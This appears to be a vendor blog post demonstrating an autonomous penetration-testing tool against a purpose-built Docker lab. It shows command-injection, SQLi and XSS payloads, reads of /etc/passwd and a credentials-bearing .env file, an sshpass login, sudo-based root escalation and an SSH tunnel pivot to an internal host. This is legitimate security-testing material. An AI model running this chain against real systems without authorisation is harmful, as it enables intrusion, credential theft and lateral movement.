Prancer Blog / SwarmHack Network Pentest
One Command, Full Kill Chain — Running the Autonomous Engagement
Watch a single swarmhack spawn command chain web exploit → credential extraction → SSH lateral movement → tunnel pivot → internal compromise. 11 findings, 35 crown jewels, 6m 7s.
SwarmHack Team · 2026-05-05 · 10 min
TL;DR
- One
swarmhack spawncommand runs the entire kill chain — external scan, credential extraction, SSH lateral movement, tunnel pivot, and internal target compromise - 11 findings · 35 crown jewels · 6m 7s — and the same numbers reproduced across 11 consecutive runs
- A phase-by-phase breakdown so you can predict and verify what happens at every step
This is Part 2 of 3. In Part 1 we built a two-network Docker lab with a dual-homed Target A and an internal-only DVWA Target B. Now we'll attack it.
Series:
- Part 1 — Build the lab
- Part 2 — Run the engagement (you are here)
- Part 3 — Under the hood
1. The command
swarmhack spawn --target http://localhost:8880 \
--token $PRANCER_TOKEN \
--customer $PRANCER_CUSTOMER
That's the whole engagement. No second command for the SSH exploit. No manual ssh -L for the tunnel. No re-running against the internal target. One invocation, the entire chain runs automatically.
When it finishes (about 6 minutes later) you'll have an OCSF 1.1.0 JSON report with this summary:
| Metric | Value |
| -------- | ------- |
| Total findings | 11 |
| Crown jewels extracted | 35 |
| Targets compromised | 2 (external + internal via pivot) |
| Wall-clock time | 6m 7s (367s) |
| SSH sessions opened | 1 (ControlMaster, reused) |
| Post-exploit commands | 10/10 succeeded |
| Human intervention | 0 |
The team has run this exact engagement 11 consecutive times. Finding count and crown jewel count were identical on every run.
2. The seven phases (what happens between T+0 and T+367s)
<diagram title="Phase flow — output of phase N becomes input of phase N+1">
PHASE 1 (0-30s) PHASE 2 (60s) PHASE 3 (60-90s)
External web scan ───► Credential correlate ──► SSH lateral movement
20+ agents in parallel Intel Bus parses .env sshpass → :2222
9 findings, 31 jewels + admin.php HTML body 10/10 cmds OK
│ │ │
▼ ▼ ▼
PHASE 4 (90s) PHASE 5 (90-120s) PHASE 6 (120-180s)
PrivEsc synthesis ───► Internal discovery ──► SSH tunnel
www-data → .env → eth1 = 172.20.1.10 ssh -L 8881:172.20.1.20:80
pentest → sudo → root .env reveals .1.20 DVWA reachable on :8881
│
▼
PHASE 7 (180-367s)
Internal scan via tunnel
CVE-2021-44790 on Apache 2.4.25
generation: 1
</diagram>
The key insight: each phase produces intelligence that automatically becomes the input of the next. No human gluing things together.
3. Phase 1 — External web scan (T+0 → T+30s)
The GOAP planner runs WebCrawler first (sequential, 90s timeout, max 100 pages). Once the attack surface is mapped, 20+ exploit agents launch in parallel via tokio::JoinSet with a 25-slot semaphore and a 50 req/s global rate limiter (so you don't trip a WAF).
Each agent picks the highest-priority candidate for its vulnerability class, stops on first confirmed exploit, and shifts into deep exploitation mode.
What lands in this phase:
| # | Finding | Severity | Confirmation |
| --- | --------- | ---------- | -------------- |
| 1 | CMDI on ping.php host | Critical | Marker SWMHK12019CK reflected in body |
| 2 | XXE on admin.php | Medium | file:///etc/hostname content reflected |
| 3 | CSRF on admin.php | Medium | Cross-origin POST accepted, no token |
| 4 | SQLi on admin.php cmd | High | Tautology ' OR '1'='1'-- accepted |
| 5 | XSS on search.php q | High | <script>alert(1)</script> reflected |
| 6 | CVE-2021-44790 (Apache 2.4.41) | High | Server header fingerprint |
| 8 | PrivEsc chain www-data → root | Critical | Synthesized from CMDI + .env |
| 9 | Unprotected admin endpoint | Critical | HTTP 200 with no auth |
| 11 | Session Fixation on PHPSESSID | High | PHPSESSID not regenerated post-login |
The CMDI finding is the linchpin. The agent injects an arithmetic marker payload:
; echo SWMHK$(expr 7777 + 4242)CK
If SWMHK12019CK shows up in the response, you have deterministic proof of RCE — not a heuristic, not an LLM opinion. The shell evaluated 7777 + 4242, and only a real shell can do that.
4. Phase 1.5 — Deep exploitation on the CMDI
Once the CMDI agent has confirmation, it goes deep on the same endpoint instead of moving on. Inside ~30 seconds it runs:
whoami → www-data
id → uid=33(www-data)
uname -a → Linux target-a 5.10.76-linuxkit
cat /etc/passwd → 26 accounts (root, pentest have shell)
env → 13 environment variables
cat /var/www/html/.env → SSH_USER=pentest, SSH_PASS=pentest123,
SECRET_KEY=sk_live_4eC39…,
INTERNAL_API=http://172.20.1.20/api/v1
ifconfig → eth0: 172.20.0.10, eth1: 172.20.1.10
ls -la / → 25 entries (7 world-writable)
+ 6 exfil PoC payloads (curl/nc/bash reverse shells)
That single endpoint produced 15 crown jewels. More importantly, it produced two facts the next phases will consume:
1. SSH credentials for pentest:pentest123 2. A second network interface (eth1: 172.20.1.10) — Target A is dual-homed
5. Phase 2 — Credential correlation
The Intelligence Bus runs 12 regex patterns against every response body and every extracted file. In this engagement two independent sources confirm the same SSH credential pair:
1. The .env file extracted via CMDI: SSH_USER=pentest, SSH_PASS=pentest123 2. The unprotected admin page HTML body:
``html <ul> <li>Database: MySQL running on localhost:3306</li> <li>Internal services: 172.20.1.20 (DVWA test server)</li> <li>SSH: Port 22 (pentest/pentest123)</li> </ul> ``
Both feed into the SSH lateral-movement agent, which now has a target (localhost:2222), a username, and a password — without anyone typing them.
6. Phase 3 — SSH lateral movement (T+60 → T+90s)
The agent calls sshpass and runs a single batched session:
sshpass -p 'pentest123' ssh pentest@localhost -p 2222
10 post-exploitation commands execute in one round-trip. The headline outputs:
pentest
uid=1000(pentest) gid=1000(pentest)
Linux target-a 5.10.76-linuxkit
root:x:0:0:root:/root:/bin/bash
inet 172.20.0.10/24 brd 172.20.0.255 scope global eth0
inet 172.20.1.10/24 brd 172.20.1.255 scope global eth1
The dual-homed discovery (eth0 + eth1) confirms what .env hinted at: this box bridges both networks. Pivot is now possible.
7. Phase 4 — Privilege escalation chain
The PrivEsc synthesizer doesn't try random LinPEAS-style probes — it constructs a chain from confirmed findings:
www-data
│ (can read /var/www/html/.env)
▼
.env contains SSH_USER=pentest, SSH_PASS=pentest123
│ (sshpass)
▼
pentest user
│ (sudo NOPASSWD: ALL)
▼
root
Confidence: 95%. Every link is independently confirmed by another agent.
8. Phases 5 & 6 — Internal discovery + SSH tunnel
The NetworkSessionManager reuses the existing SSH ControlMaster session and opens a local port forward:
ssh -L 8881:172.20.1.20:80 -N -f \
-o ControlPath=/tmp/swmhk_sessions_<mission>/target-a_2222_pentest.sock \
pentest@localhost -p 2222
It then probes localhost:8881. DVWA replies with HTTP 302 → /login.php. Tunnel confirmed.
A traditional pentester would now stop, write up "we got SSH", and schedule a second engagement for the internal scan. SwarmHack just keeps going — same process, same report, no second invoice.
9. Phase 7 — Scanning the internal target through the tunnel
A full agent scan now runs against http://localhost:8881 (which is really http://172.20.1.20:80 on the internal network). The vulnerable-components agent fingerprints the response:
Server: Apache/2.4.25 (Debian)
→ matches CVE-2021-44790 and CVE-2021-44224 for the older Apache version.
In the OCSF report this finding is tagged generation: 1, distinguishing it from the direct-scan (generation: 0) findings discovered on Target A. That tag lets your SIEM filter "show me everything we reached only by pivoting" with one query.
10. Reading the report
The output JSON lives at reports/mission-<timestamp>.json. Every finding includes:
cwe.uid— CWE identifier (e.g.CWE-78for CMDI)attacks— MITRE ATT&CK technique IDs (T1059,T1190,T1021.004, …)risk_score— 0–10confidence— evidence-calibrated (1.00 for marker-based, 0.60 for in-band heuristic)crown_jewels[]— the actual extracted impacttested_payloads— exactly what was sent
A representative critical finding:
{
"title": "Command Injection in parameter 'host'",
"severity": "critical",
"cwe": { "uid": "CWE-78" },
"attacks": ["T1059", "T1190", "T1059.004"],
"risk_score": 10.0,
"confidence": 1.0,
"evidence": "Marker 'SWMHK12019CK' found in response",
"tested_payloads": { "samples": ["; echo SWMHK$(expr 7777 + 4242)CK"] },
"exploitation_summary": "15 crown jewels extracted!"
}
That confidence: 1.0 is auditable — anyone can re-run the payload and verify the marker. Compare that to a tool that replies "Claude thinks this is critical."
11. Run it yourself
If you built the lab in Part 1, you're a single command away:
# In the pentest-lab directory
docker compose up -d
sleep 30
swarmhack spawn \
--target http://localhost:8880 \
--token $PRANCER_TOKEN \
--customer $PRANCER_CUSTOMER
ls -la reports/mission-*.json # your OCSF report
docker compose down -v # tear down when you're done
Expect:
- ~6 minutes wall-clock
- 11 findings, 35 crown jewels
- 1 SSH session opened, 10/10 commands succeeded
- 1 SSH tunnel created, 1 internal-only finding via that tunnel
If you get materially different numbers, the lab probably came up before MySQL or SSH were ready — docker compose down -v && docker compose up -d and try again with a longer sleep.
What's next
In Part 3 — Under the Hood we'll open up the engine: the GOAP planner, the 32 agents, the Intelligence Bus, the SSH ControlMaster–based session manager (Metasploit replacement, ~0 MB overhead), the smart timeout watchdog, and why none of this uses a language model.
See you in Part 3.